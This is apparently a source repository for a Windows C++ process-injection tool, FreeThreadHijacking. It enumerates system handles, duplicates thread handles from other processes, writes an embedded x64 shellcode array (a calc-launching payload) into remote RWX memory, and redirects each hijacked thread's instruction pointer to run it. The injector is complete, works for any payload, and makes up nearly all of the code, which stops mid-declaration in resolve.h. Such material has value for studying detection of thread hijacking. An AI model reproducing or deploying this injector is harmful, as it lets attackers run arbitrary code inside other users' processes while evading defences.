├── FreeThreadHijacking ├── FreeThreadHijacking.sln ├── FreeThreadHijacking │ ├── FreeThreadHijacking.cpp │ ├── FreeThreadHijacking.vcxproj │ ├── FreeThreadHijacking.vcxproj.filters │ ├── FreeThreadHijacking.vcxproj.user │ ├── MapFreeMemoryObjects.h │ ├── resolve.h │ └── x64 │ │ └── Debug │ │ ├── FreeThre.5cff1888.tlog │ │ ├── CL.command.1.tlog │ │ ├── CL.read.1.tlog │ │ ├── CL.write.1.tlog │ │ ├── Cl.items.tlog │ │ ├── FreeThreadHijacking.lastbuildstate │ │ ├── link.command.1.tlog │ │ ├── link.read.1.tlog │ │ └── link.write.1.tlog │ │ ├── FreeThreadHijacking.exe.recipe │ │ ├── FreeThreadHijacking.ilk │ │ ├── FreeThreadHijacking.log │ │ ├── FreeThreadHijacking.obj │ │ ├── vc143.idb │ │ ├── vc143.pdb │ │ └── vcpkg.applocal.log └── x64 │ └── Debug │ ├── FreeThreadHijacking.exe │ └── FreeThreadHijacking.pdb └── README.md /FreeThreadHijacking/FreeThreadHijacking.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.7.34221.43 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FreeThreadHijacking", "FreeThreadHijacking\FreeThreadHijacking.vcxproj", "{5CFF1888-F79D-44F1-9922-D3E652041B7B}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {5CFF1888-F79D-44F1-9922-D3E652041B7B}.Debug|x64.ActiveCfg = Debug|x64 17 | {5CFF1888-F79D-44F1-9922-D3E652041B7B}.Debug|x64.Build.0 = Debug|x64 18 | {5CFF1888-F79D-44F1-9922-D3E652041B7B}.Debug|x86.ActiveCfg = Debug|Win32 19 | {5CFF1888-F79D-44F1-9922-D3E652041B7B}.Debug|x86.Build.0 = Debug|Win32 20 | {5CFF1888-F79D-44F1-9922-D3E652041B7B}.Release|x64.ActiveCfg = Release|x64 21 | {5CFF1888-F79D-44F1-9922-D3E652041B7B}.Release|x64.Build.0 = Release|x64 22 | {5CFF1888-F79D-44F1-9922-D3E652041B7B}.Release|x86.ActiveCfg = Release|Win32 23 | {5CFF1888-F79D-44F1-9922-D3E652041B7B}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {1C9BA238-93C7-43B5-9DE2-F6F4B81158EB} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/FreeThreadHijacking.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "MapFreeMemoryObjects.h" 8 | 9 | using namespace std; 10 | 11 | char executableCode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" 12 | "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" 13 | "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" 14 | "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" 15 | "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" 16 | "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" 17 | "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" 18 | "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" 19 | "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" 20 | "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" 21 | "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 22 | "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 23 | "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" 24 | "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" 25 | "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" 26 | "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" 27 | "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" 28 | "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" 29 | "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" 30 | "\xd5\x63\x61\x6c\x63\x00"; 31 | 32 | 33 | HANDLE getHandleProcessByPID(DWORD pid) { 34 | HANDLE hSnapshot; 35 | PROCESSENTRY32 pEntry; 36 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 37 | pEntry.dwSize = sizeof(pEntry); 38 | HANDLE hProcess = NULL; 39 | 40 | while (Process32Next(hSnapshot, &pEntry)) { 41 | if (pEntry.th32ProcessID == pid) { 42 | hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pEntry.th32ProcessID); 43 | if (hProcess == NULL || pEntry.th32ProcessID == 0) { 44 | continue; 45 | } 46 | else { 47 | return hProcess; 48 | } 49 | } 50 | } 51 | } 52 | 53 | int getPIDbyThread(HANDLE hThread) { 54 | DWORD threadId = GetThreadId(hThread); 55 | DWORD processId = GetProcessIdOfThread(hThread); 56 | return processId; 57 | } 58 | 59 | 60 | CONTEXT getThreatContext(HANDLE hThread) { 61 | CONTEXT context; 62 | context.ContextFlags = CONTEXT_FULL; 63 | SuspendThread(hThread); 64 | GetThreadContext(hThread, &context); 65 | return context; 66 | } 67 | 68 | int main() { 69 | HANDLE hThread; 70 | CONTEXT context; 71 | int pid; 72 | 73 | MapMemoryObjects memoryObjects = MapMemoryObjects(); 74 | PSYSTEM_HANDLE_INFORMATION memoryObjectList = memoryObjects.MapMemoryHandlers(); 75 | deque threads = memoryObjects.FilterThreads(memoryObjectList); 76 | 77 | for (auto thread : threads) { 78 | hThread = thread; 79 | context = getThreatContext(hThread); 80 | pid = getPIDbyThread(hThread); 81 | HANDLE hProcess = NULL; 82 | hProcess = getHandleProcessByPID(pid); 83 | 84 | // Allocate memory and write executableCode 85 | LPVOID mSpace = VirtualAllocEx(hProcess, NULL, sizeof(executableCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); 86 | WriteProcessMemory(hProcess, mSpace, executableCode, sizeof(executableCode), NULL); 87 | 88 | // Change thread context and resume thread 89 | context.Rip = (DWORD_PTR)mSpace; 90 | SetThreadContext(hThread, &context); 91 | ResumeThread(hThread); 92 | 93 | // check if a calculator process is running, if so break the loop because the shellcode was successfuly executed 94 | if (FindWindowA(NULL, "Calculator")) { 95 | break; 96 | } 97 | CloseHandle(hThread); 98 | } 99 | 100 | 101 | } -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/FreeThreadHijacking.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {5cff1888-f79d-44f1-9922-d3e652041b7b} 25 | FreeThreadHijacking 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | 122 | 123 | Console 124 | true 125 | true 126 | true 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/FreeThreadHijacking.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | Header Files 28 | 29 | 30 | -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/FreeThreadHijacking.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/MapFreeMemoryObjects.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "resolve.h" 8 | 9 | 10 | #define NT_SUCCESS(x) ((x) >= 0) 11 | #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 12 | 13 | #define SystemHandleInformation 16 14 | #define ObjectBasicInformation 0 15 | #define ObjectNameInformation 1 16 | #define ObjectTypeInformation 2 17 | 18 | 19 | using namespace std; 20 | 21 | class MapMemoryObjects { 22 | public: 23 | struct MemoryHandlerStruct { 24 | char HandleType[256]; 25 | uintptr_t HandleAddress; 26 | uintptr_t HandleValue; 27 | char HandleAccess[256]; 28 | char ProcessName[256]; 29 | int ProcessID; 30 | }; 31 | 32 | MapMemoryObjects() { 33 | 34 | }; 35 | 36 | PSYSTEM_HANDLE_INFORMATION MapMemoryHandlers() { 37 | NtQuerySystemInformation_t pNtQuerySystemInformation = NULL; 38 | NTSTATUS status; 39 | ULONG handleInfoSize = 0x10000; 40 | PSYSTEM_HANDLE_INFORMATION handleInfo; 41 | 42 | // Resolve NtQuerySystemInformation, NtDuplicateObject, NtQueryObject 43 | pNtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation"); 44 | 45 | 46 | // Allocate memory for handle information 47 | handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); 48 | 49 | while (status = pNtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL) == STATUS_INFO_LENGTH_MISMATCH) { 50 | handleInfoSize *= 2; 51 | handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize); 52 | } 53 | 54 | return handleInfo; 55 | } 56 | 57 | deque FilterFile(PSYSTEM_HANDLE_INFORMATION memoryHandlers) { 58 | deque processesHandlers; 59 | NtDuplicateObject_t pNtDuplicateObject = NULL; 60 | NtQueryObject_t pNtQueryObject = NULL; 61 | pNtDuplicateObject = (NtDuplicateObject_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtDuplicateObject"); 62 | pNtQueryObject = (NtQueryObject_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryObject"); 63 | ULONG i; 64 | POBJECT_TYPE_INFORMATION objectTypeInfo; 65 | NTSTATUS status; 66 | HANDLE hProcess; 67 | PVOID objectNameInfo; 68 | ULONG returnLength; 69 | UNICODE_STRING objectName; 70 | HANDLE duplicatedHandle = NULL; 71 | cout << "Process Name" << "\t" << "Process ID" << "\t" << "Handle Value" << "\t" << "Granted Access" << "\t" << "Handle Type" << "\t" << endl; 72 | cout << "------------" << "\t" << "----------" << "\t" << "------------" << "\t" << "-------------" << "\t" << "-----------" << "\t" << endl; 73 | 74 | for (i = 0; i < memoryHandlers->NumberOfHandles; i++) { 75 | SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = memoryHandlers->Handles[i]; 76 | //printf_s("0x%x\n", memoryHandlers->Handles[i].HandleValue); 77 | if (!(hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, handle.UniqueProcessId))) { 78 | continue; 79 | } 80 | 81 | NTSTATUS status = pNtDuplicateObject(hProcess, (void*)handle.HandleValue, GetCurrentProcess(), &duplicatedHandle, 0, 0, DUPLICATE_SAME_ACCESS); 82 | if (!NT_SUCCESS(status)) { 83 | CloseHandle(hProcess); 84 | continue; 85 | } 86 | 87 | objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x2000); 88 | pNtQueryObject(duplicatedHandle, ObjectTypeInformation, objectTypeInfo, 0x1000, &returnLength); 89 | 90 | 91 | if (wcscmp(objectTypeInfo->Name.Buffer, L"File") == 0) { 92 | processesHandlers.push_back(duplicatedHandle); 93 | // cout << "Process Name" << "\t" << "Process ID" << "\t" << "Handle Value" << "\t" << "Granted Access" << "\t" << "Handle Type" << "\t" << endl; 94 | printf("[HP:%#25s : %#5d] [%#7x] (0x%p) %#10x %.*S\n", 95 | "process name", 96 | GetProcessId(hProcess), 97 | handle.HandleValue, 98 | handle.Object, 99 | handle.GrantedAccess, 100 | objectTypeInfo->Name.Length / 2, 101 | objectTypeInfo->Name.Buffer); 102 | } 103 | } 104 | return processesHandlers; 105 | } 106 | 107 | deque FilterRegisterKeys(PSYSTEM_HANDLE_INFORMATION memoryHandlers) { 108 | deque processesHandlers; 109 | NtDuplicateObject_t pNtDuplicateObject = NULL; 110 | NtQueryObject_t pNtQueryObject = NULL; 111 | pNtDuplicateObject = (NtDuplicateObject_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtDuplicateObject"); 112 | pNtQueryObject = (NtQueryObject_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryObject"); 113 | ULONG i; 114 | POBJECT_TYPE_INFORMATION objectTypeInfo; 115 | NTSTATUS status; 116 | HANDLE hProcess; 117 | PVOID objectNameInfo; 118 | ULONG returnLength; 119 | UNICODE_STRING objectName; 120 | HANDLE duplicatedHandle = NULL; 121 | cout << "Process Name" << "\t" << "Process ID" << "\t" << "Handle Value" << "\t" << "Granted Access" << "\t" << "Handle Type" << "\t" << endl; 122 | cout << "------------" << "\t" << "----------" << "\t" << "------------" << "\t" << "-------------" << "\t" << "-----------" << "\t" << endl; 123 | 124 | for (i = 0; i < memoryHandlers->NumberOfHandles; i++) { 125 | SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = memoryHandlers->Handles[i]; 126 | //printf_s("0x%x\n", memoryHandlers->Handles[i].HandleValue); 127 | if (!(hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, handle.UniqueProcessId))) { 128 | continue; 129 | } 130 | 131 | NTSTATUS status = pNtDuplicateObject(hProcess, (void*)handle.HandleValue, GetCurrentProcess(), &duplicatedHandle, 0, 0, DUPLICATE_SAME_ACCESS); 132 | if (!NT_SUCCESS(status)) { 133 | CloseHandle(hProcess); 134 | continue; 135 | } 136 | 137 | objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x2000); 138 | pNtQueryObject(duplicatedHandle, ObjectTypeInformation, objectTypeInfo, 0x1000, &returnLength); 139 | 140 | 141 | if (wcscmp(objectTypeInfo->Name.Buffer, L"Key") == 0) { 142 | processesHandlers.push_back(duplicatedHandle); 143 | // cout << "Process Name" << "\t" << "Process ID" << "\t" << "Handle Value" << "\t" << "Granted Access" << "\t" << "Handle Type" << "\t" << endl; 144 | printf("[HP:%#25s : %#5d] [%#7x] (0x%p) %#10x %.*S\n", 145 | "process name", 146 | GetProcessId(hProcess), 147 | handle.HandleValue, 148 | handle.Object, 149 | handle.GrantedAccess, 150 | objectTypeInfo->Name.Length / 2, 151 | objectTypeInfo->Name.Buffer); 152 | } 153 | } 154 | return processesHandlers; 155 | } 156 | 157 | deque FilterProcesses(PSYSTEM_HANDLE_INFORMATION memoryHandlers) { 158 | deque processesHandlers; 159 | NtDuplicateObject_t pNtDuplicateObject = NULL; 160 | NtQueryObject_t pNtQueryObject = NULL; 161 | pNtDuplicateObject = (NtDuplicateObject_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtDuplicateObject"); 162 | pNtQueryObject = (NtQueryObject_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryObject"); 163 | ULONG i; 164 | POBJECT_TYPE_INFORMATION objectTypeInfo; 165 | NTSTATUS status; 166 | HANDLE hProcess; 167 | PVOID objectNameInfo; 168 | ULONG returnLength; 169 | UNICODE_STRING objectName; 170 | HANDLE duplicatedHandle = NULL; 171 | cout << "Process Name" << "\t" << "Process ID" << "\t" << "Handle Value" << "\t" << "Granted Access" << "\t" << "Handle Type" << "\t" << endl; 172 | cout << "------------" << "\t" << "----------" << "\t" << "------------" << "\t" << "-------------" << "\t" << "-----------" << "\t" << endl; 173 | 174 | for (i = 0; i < memoryHandlers->NumberOfHandles; i++) { 175 | SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = memoryHandlers->Handles[i]; 176 | //printf_s("0x%x\n", memoryHandlers->Handles[i].HandleValue); 177 | if (!(hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, handle.UniqueProcessId))) { 178 | continue; 179 | } 180 | 181 | NTSTATUS status = pNtDuplicateObject(hProcess, (void*)handle.HandleValue, GetCurrentProcess(), &duplicatedHandle, 0, 0, DUPLICATE_SAME_ACCESS); 182 | if (!NT_SUCCESS(status)) { 183 | CloseHandle(hProcess); 184 | continue; 185 | } 186 | 187 | objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x2000); 188 | pNtQueryObject(duplicatedHandle, ObjectTypeInformation, objectTypeInfo, 0x1000, &returnLength); 189 | 190 | 191 | if (wcscmp(objectTypeInfo->Name.Buffer, L"Process") == 0) { 192 | processesHandlers.push_back(duplicatedHandle); 193 | // cout << "Process Name" << "\t" << "Process ID" << "\t" << "Handle Value" << "\t" << "Granted Access" << "\t" << "Handle Type" << "\t" << endl; 194 | printf("[HP:%#25s : %#5d] [%#7x] (0x%p) %#10x %.*S\n", 195 | "process name", 196 | GetProcessId(hProcess), 197 | handle.HandleValue, 198 | handle.Object, 199 | handle.GrantedAccess, 200 | objectTypeInfo->Name.Length / 2, 201 | objectTypeInfo->Name.Buffer); 202 | } 203 | } 204 | return processesHandlers; 205 | } 206 | 207 | deque FilterTokens(PSYSTEM_HANDLE_INFORMATION memoryHandlers) { 208 | deque processesHandlers; 209 | NtDuplicateObject_t pNtDuplicateObject = NULL; 210 | NtQueryObject_t pNtQueryObject = NULL; 211 | pNtDuplicateObject = (NtDuplicateObject_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtDuplicateObject"); 212 | pNtQueryObject = (NtQueryObject_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryObject"); 213 | ULONG i; 214 | POBJECT_TYPE_INFORMATION objectTypeInfo; 215 | NTSTATUS status; 216 | HANDLE hProcess; 217 | PVOID objectNameInfo; 218 | ULONG returnLength; 219 | UNICODE_STRING objectName; 220 | HANDLE duplicatedHandle = NULL; 221 | cout << "Process Name" << "\t" << "Process ID" << "\t" << "Handle Value" << "\t" << "Granted Access" << "\t" << "Handle Type" << "\t" << endl; 222 | cout << "------------" << "\t" << "----------" << "\t" << "------------" << "\t" << "-------------" << "\t" << "-----------" << "\t" << endl; 223 | 224 | for (i = 0; i < memoryHandlers->NumberOfHandles; i++) { 225 | SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = memoryHandlers->Handles[i]; 226 | //printf_s("0x%x\n", memoryHandlers->Handles[i].HandleValue); 227 | if (!(hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, handle.UniqueProcessId))) { 228 | continue; 229 | } 230 | 231 | NTSTATUS status = pNtDuplicateObject(hProcess, (void*)handle.HandleValue, GetCurrentProcess(), &duplicatedHandle, 0, 0, DUPLICATE_SAME_ACCESS); 232 | if (!NT_SUCCESS(status)) { 233 | CloseHandle(hProcess); 234 | continue; 235 | } 236 | 237 | objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x2000); 238 | pNtQueryObject(duplicatedHandle, ObjectTypeInformation, objectTypeInfo, 0x1000, &returnLength); 239 | 240 | 241 | if (wcscmp(objectTypeInfo->Name.Buffer, L"Token") == 0) { 242 | processesHandlers.push_back(duplicatedHandle); 243 | // cout << "Process Name" << "\t" << "Process ID" << "\t" << "Handle Value" << "\t" << "Granted Access" << "\t" << "Handle Type" << "\t" << endl; 244 | printf("[HP:%#25s : %#5d] [%#7x] (0x%p) %#10x %.*S\n", 245 | "process name", 246 | GetProcessId(hProcess), 247 | handle.HandleValue, 248 | handle.Object, 249 | handle.GrantedAccess, 250 | objectTypeInfo->Name.Length / 2, 251 | objectTypeInfo->Name.Buffer); 252 | } 253 | } 254 | return processesHandlers; 255 | } 256 | 257 | deque FilterThreads(PSYSTEM_HANDLE_INFORMATION memoryHandlers) { 258 | deque processesHandlers; 259 | NtDuplicateObject_t pNtDuplicateObject = NULL; 260 | NtQueryObject_t pNtQueryObject = NULL; 261 | pNtDuplicateObject = (NtDuplicateObject_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtDuplicateObject"); 262 | pNtQueryObject = (NtQueryObject_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryObject"); 263 | ULONG i; 264 | POBJECT_TYPE_INFORMATION objectTypeInfo; 265 | NTSTATUS status; 266 | HANDLE hProcess; 267 | PVOID objectNameInfo; 268 | ULONG returnLength; 269 | UNICODE_STRING objectName; 270 | HANDLE duplicatedHandle = NULL; 271 | cout << "Process Name" << "\t" << "Process ID" << "\t" << "Handle Value" << "\t" << "Granted Access" << "\t" << "Handle Type" << "\t" << endl; 272 | cout << "------------" << "\t" << "----------" << "\t" << "------------" << "\t" << "-------------" << "\t" << "-----------" << "\t" << endl; 273 | 274 | for (i = 0; i < memoryHandlers->NumberOfHandles; i++) { 275 | SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = memoryHandlers->Handles[i]; 276 | //printf_s("0x%x\n", memoryHandlers->Handles[i].HandleValue); 277 | if (!(hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, handle.UniqueProcessId))) { 278 | continue; 279 | } 280 | 281 | NTSTATUS status = pNtDuplicateObject(hProcess, (void*)handle.HandleValue, GetCurrentProcess(), &duplicatedHandle, 0, 0, DUPLICATE_SAME_ACCESS); 282 | if (!NT_SUCCESS(status)) { 283 | CloseHandle(hProcess); 284 | continue; 285 | } 286 | 287 | objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x2000); 288 | pNtQueryObject(duplicatedHandle, ObjectTypeInformation, objectTypeInfo, 0x1000, &returnLength); 289 | 290 | 291 | if (wcscmp(objectTypeInfo->Name.Buffer, L"Thread") == 0) { 292 | processesHandlers.push_back(duplicatedHandle); 293 | // cout << "Process Name" << "\t" << "Process ID" << "\t" << "Handle Value" << "\t" << "Granted Access" << "\t" << "Handle Type" << "\t" << endl; 294 | printf("[HP:%#25s : %#5d] [%#7x] (0x%p) %#10x %.*S\n", 295 | "process name", 296 | GetProcessId(hProcess), 297 | handle.HandleValue, 298 | handle.Object, 299 | handle.GrantedAccess, 300 | objectTypeInfo->Name.Length / 2, 301 | objectTypeInfo->Name.Buffer); 302 | } 303 | } 304 | return processesHandlers; 305 | } 306 | 307 | 308 | HANDLE FindRegistryKeyHandle(PSYSTEM_HANDLE_INFORMATION memoryHandlers, const wstring& registryName) { 309 | NtDuplicateObject_t pNtDuplicateObject = (NtDuplicateObject_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtDuplicateObject"); 310 | NtQueryObject_t pNtQueryObject = (NtQueryObject_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryObject"); 311 | 312 | POBJECT_TYPE_INFORMATION objectTypeInfo; 313 | NTSTATUS status; 314 | HANDLE hProcess; 315 | HANDLE duplicatedHandle = NULL; 316 | 317 | for (ULONG i = 0; i < memoryHandlers->NumberOfHandles; i++) { 318 | SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = memoryHandlers->Handles[i]; 319 | if (!(hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, handle.UniqueProcessId))) { 320 | continue; 321 | } 322 | 323 | status = pNtDuplicateObject(hProcess, (void*)handle.HandleValue, GetCurrentProcess(), &duplicatedHandle, 0, 0, DUPLICATE_SAME_ACCESS); 324 | if (!NT_SUCCESS(status)) { 325 | CloseHandle(hProcess); 326 | continue; 327 | } 328 | 329 | objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x2000); 330 | ULONG returnLength; 331 | status = pNtQueryObject(duplicatedHandle, ObjectTypeInformation, objectTypeInfo, 0x1000, &returnLength); 332 | if (!NT_SUCCESS(status)) { 333 | CloseHandle(hProcess); 334 | continue; 335 | } 336 | 337 | // Compare with registryName 338 | if (wcscmp(objectTypeInfo->Name.Buffer, L"Key") == 0) { 339 | // Now fetch the name of the key 340 | status = pNtQueryObject(duplicatedHandle, ObjectNameInformation, objectTypeInfo, 0x1000, &returnLength); 341 | if (NT_SUCCESS(status)) { 342 | wstring objectName(objectTypeInfo->Name.Buffer, objectTypeInfo->Name.Length / sizeof(WCHAR)); 343 | if (objectName == registryName) { 344 | CloseHandle(hProcess); 345 | return duplicatedHandle; 346 | } 347 | } 348 | } 349 | 350 | CloseHandle(hProcess); 351 | } 352 | 353 | return nullptr; // Return nullptr if not found 354 | } 355 | 356 | 357 | 358 | }; 359 | -------------------------------------------------------------------------------- /FreeThreadHijacking/FreeThreadHijacking/resolve.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | typedef NTSTATUS(NTAPI* NtQuerySystemInformation_t)( 4 | ULONG SystemInformationClass, 5 | PVOID SystemInformation, 6 | ULONG SystemInformationLength, 7 | PULONG ReturnLength 8 | ); 9 | 10 | typedef NTSTATUS(NTAPI* NtDuplicateObject_t)( 11 | HANDLE SourceProcessHandle, 12 | HANDLE SourceHandle, 13 | HANDLE TargetProcessHandle, 14 | PHANDLE TargetHandle, 15 | ACCESS_MASK DesiredAccess, 16 | ULONG Attributes, 17 | ULONG Options 18 | ); 19 | 20 | typedef NTSTATUS(NTAPI* NtQueryObject_t)( 21 | HANDLE ObjectHandle, 22 | ULONG ObjectInformationClass, 23 | PVOID ObjectInformation, 24 | ULONG ObjectInformationLength, 25 | PULONG ReturnLength 26 | ); 27 | 28 | typedef struct _UNICODE_STRING { 29 | USHORT Length; 30 | USHORT MaximumLength; 31 | PWSTR Buffer; 32 | } UNICODE_STRING, * PUNICODE_STRING; 33 | 34 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { 35 | USHORT UniqueProcessId; 36 | USHORT CreatorBackTraceIndex; 37 | UCHAR ObjectTypeIndex; 38 | UCHAR HandleAttributes; 39 | USHORT HandleValue; 40 | PVOID Object; 41 | ULONG GrantedAccess; 42 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; 43 | 44 | typedef struct _SYSTEM_HANDLE_INFORMATION { 45 | ULONG NumberOfHandles; 46 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; 47 | } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; 48 | 49 | typedef enum _POOL_TYPE { 50 | NonPagedPool, 51 | PagedPool, 52 | NonPagedPoolMustSucceed, 53 | DontUseThisType, 54 | NonPagedPoolCacheAligned, 55 | PagedPoolCacheAligned, 56 | NonPagedPoolCacheAlignedMustS 57 | } POOL_TYPE, * PPOOL_TYPE; 58 | 59 | typedef struct _OBJECT_TYPE_INFORMATION { 60 | UNICODE_STRING Name; 61 | ULONG TotalNumberOfObjects; 62 | ULONG TotalNumberOfHandles; 63 | ULONG TotalPagedPoolUsage; 64 | ULONG TotalNonPagedPoolUsage; 65 | ULONG TotalNamePoolUsage; 66 | ULONG TotalHandleTableUsage; 67 | ULONG HighWaterNumberOfObjects; 68 | ULONG 